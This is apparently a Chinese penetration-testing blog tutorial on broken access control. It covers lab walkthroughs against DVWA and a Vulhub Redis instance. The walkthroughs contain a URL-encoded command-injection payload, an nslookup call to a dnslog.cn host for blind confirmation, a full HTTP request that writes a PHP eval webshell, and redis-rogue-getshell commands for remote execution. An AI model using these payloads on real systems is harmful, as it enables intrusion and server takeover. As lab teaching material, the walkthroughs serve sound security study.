• 渗透测试漏洞原理之---【失效的访问控制】


    1、失效的访问控制

    应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

    1.1、OWASP Top 10

    1.1.1、A5:2017-Broken Access Control

    A5:2017-Broken Access Control


    未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。


    1.1.2、A01:2021 – Broken Access Control

    A01:2021 – Broken Access Control

    访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

    1.2、失效的访问控制类别

    权限移动方向

    1.2.1、水平越权

    在同级别账户中横向移动

    就是同级用户之间的越权,打个比方现在有ABC三个用户,A是管理员,BC都是普通用户,现在B能够使用C这个用户的权限这就是水平越权,

    1.2.2、垂直越权

    普通用户获取管理员权限

    通过低级权限跨越到高级权限,用高级权限干高级权限的事情,来我们继续打比方,A是超级管理员,BC是普通用户,现在这个B啊,通过了某些手段,跨越获得了A超级管理员的权限,这就是垂直越权,垂直越权的特点就是以低级权限向高级权限跨越

    1.3、攻防案例

    1.3.1、Pikachu靶场 Over Permision

    Pikachu靶场 Over Permision

    1.3.2、DVWA越权
    利用失效的访问控制漏洞执行命令注入

    先在正常登录的情况下,BurpSuite抓取Command Injection关卡的Low级别

    image-20230901165159111


    然后点击Logout退出登录

    实现在不登录DVWA靶场的情况下访问靶场里面 Command Injection关卡的Low级别

    路径:vulnerabilities\exec\source

    在这里插入图片描述

    浏览器访问low.php

    在这里插入图片描述

    通过访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/low.php

    得到如下界面

    在这里插入图片描述

    BurpSuite抓取数据包,发送到Repeater模块

    在这里插入图片描述

    改变数据包的请求方式,在源码中可以得知是通过POST方式提交的

    在这里插入图片描述

    image-20230901164141827

    添加请求体内容:ip=127.0.0.1&Submit=Submit

    使用&实现命令拼接,做命令注入

    &需要做URL编码,防止跟连接Submit&发生冲突

    BurpSuite中选中&,按Ctrl+u,即可实现uRL编码

    在这里插入图片描述

    发现使用whoami命令并没有回显

    然后使用calc尝试调出计算器

    image-20230901171043155

    在这里插入图片描述

    命令执行成功!

    说明页面没有回显并不能代表命令执行没有成功

    可以利用dnslog平台测试命令是否执行成功

    rimage-20230901171830352

    然后使用nslookup进行域名 解析:ip=127.0.0.1%26nslookup+hv1co0.dnslog.cn&Submit=Submit

    点击Send发送,来到dnslog平台,点击Refresh Record刷新记录

    image-20230901172142032

    解析到了,说明命令执行成功


    利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接

    echo "" >shell.phpCtrl+u做url编码

    得到echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php

    POST /DVWA-2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
    Host: 192.168.80.139
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 86
    
    ip=127.0.0.1%26echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php&Submit=Submit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/查看是否成功

    在这里插入图片描述

    访问shell.php

    在这里插入图片描述

    蚁剑 连接

    http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/shell.php

    在这里插入图片描述

    image-20230901173218542

    1.4、相关漏洞

    1.4.1、目录遍历

    目录穿越,目录遍历,Directory Traversal,Web 用户,通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。

    造成目录遍历漏洞的原因:

    • 文件包含
    • 文件读取
    • RCE
    1.4.2、未授权访问

    未授权访问,Unauthorized Access,重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作

    2、未授权访问

    2.1、Redis未授权访问

    2.1.1、Redis介绍

    Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据

    Redis 数据库经常用于Web 应用的缓存

    Redis 可以与文件系统进行交互

    Redis 监听TCP/6379

    2.1.2、Redis简单使用

    博客 跳转

    Redis 未设置密码,客户端工具可以直接链接

    ┌──(ajest💋zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
    └─$ redis-cli -h 127.0.0.1
    127.0.0.1:6379> set name JayChou
    OK
    127.0.0.1:6379> get name
    "JayChou"
    127.0.0.1:6379> config set dir /tmp/
    OK
    127.0.0.1:6379> config set dbfilename jaychou.txt
    OK
    127.0.0.1:6379> save
    OK
    127.0.0.1:6379>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    2.1.3、Redis未授权访问
    读取数据库内容读取系统文件执行系统命令
    信息泄露
    直接写WebShell

    计划任务反弹Shell

    SSH免密登录

    redis-rogue-getshell
    2.1.4、Redis未授权访问执行系统命令漏洞复现

    环境:/vulhub/vulhub/redis/4-unacc


    docker-compose up -d启动环境后,连接redis客户端

    无密码,直接连接成功

    ┌──(kali㉿kali)-[~/Vulnerability-library/vulhub/redis/4-unacc]
    └─$ redis-cli -h 127.0.0.1   
    127.0.0.1:6379> info
    # Server
    redis_version:4.0.14
    redis_git_sha1:00000000
    redis_git_dirty:0
    redis_build_id:3914f9509eb3b682
    redis_mode:standalone
    os:Linux 6.1.0-kali9-amd64 x86_64
    .......
    .......
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    github上把redis-rogue-getshell这个项目克隆下来

    第一步:

    cd redis-rogue-getshell/RedisModulesSDK/
    make
    
    • 1
    • 2

    会生成一个exp.so文件,编译时会报错,不影响我们操作

    cd ../
    python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "id"
    
    • 1
    • 2

    执行id命令

    在这里插入图片描述

    执行其他命令

    python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    移动端 rem 适配方案
    H5/CSS 笔试面试考题(101-110)
    基于springboot+vue的大学社团管理系统(前后端分离)
    Linux per-cpu
    java设计模式---责任链模式详解
    Manifest merger failed with multiple errors, see logs 问题处理
    OPENSQL
    NNDL实验 优化算法3D轨迹 鱼书例题3D版
    计算机网络 实验七 NAT 和 DHCP 实验
    给 shell 自定义快捷键
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/132629794